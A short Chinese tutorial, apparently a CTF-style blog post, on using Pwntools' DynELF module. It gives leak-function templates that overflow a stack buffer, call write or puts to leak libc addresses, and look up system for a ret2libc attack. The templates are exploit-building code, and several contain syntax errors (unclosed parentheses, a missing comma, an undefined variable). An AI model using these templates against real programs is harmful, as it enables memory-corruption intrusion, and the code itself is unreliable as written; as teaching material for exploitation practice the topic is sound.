概念

DynELF是Pwntools中的一个模块。主要用于针对在程序中找不到libc文件的情况,用于泄露函数真实地址

使用DynELF模块必须要有一个leak函数

leak函数主要用于以程序的某个地址做起始点,进行多次对比获得结构特征,以自动计算出libc基地址

而leak函数内的payload主要以writeputsprintf三个函数为主,用以每次读取每个地址内的地址(并且确保该函数可以进行多次溢出

Write函数模板

1
2
3
4
5
6
7
8
9
10
11
12
13
def leak(address):
#address是待泄露的地址
    payload = offset + p32(write) + p32(main_addr) + p32(1) + p32(address) + p32(4)
    #payload = 溢出位 + write\puts\printf + 返回地址 + 参数1 + 参数2 + 参数3
    sh.sendline(payload)
    data = sh.recv(4)
#用于接受返回的地址,32位接收4位,64位接收8位
log.success('%x -> %s'%(address,hex(u32(data))))
    return data
libc = DynELF(leak, elf=ELF(file_path))
#初始化DynELF模块,也就是程序的elf变量
system_addr = libc.lookup('system''libc')
#在libc文件中搜索system

Put函数模板

Puts函数后没有其他输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def leak(address):
  count = 0
  data = ''
  payload = p32(puts_plt_addr) + p32(main_addr) + p32(address)
  sh.send(payload)
  print sh.recvuntil('xxx\n'#一定要在puts前释放完输出
  up = ""
  while True:
    c = sh.recv(numb=1, timeout=1
    count += 1
    if up == '\n' and c == "":  
      buf = buf[:-1]             
      buf += "\x00"
      break
    else:
      buf += c
    up = c
  data = buf[:4]  
  log.info("%#x => %s" % (address, (data or '').encode('hex')))
  return data

Puts函数后程序还有其他输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def leak(address):
  count = 0
  data = ""
  payload = xxx
  sh.send(payload)
  print sh.recvuntil("xxx\n"#一定要在puts前释放完输出
  up = ""
  while True:
    c = sh.recv(1)
    count += 1
    if up == '\n' and c == "x":  #一定要找到泄漏信息的字符串特征
      data = buf[:-1]                     
      data += "\x00"
      break
    else:
      buf += c
    up = c
  data = buf[:4
  log.info("%#x => %s" % (address, (data or '').encode('hex')))
  return data

可以在泄露出几个函数地址后使用LibcDatabase来查版本,以便找到/bin/sh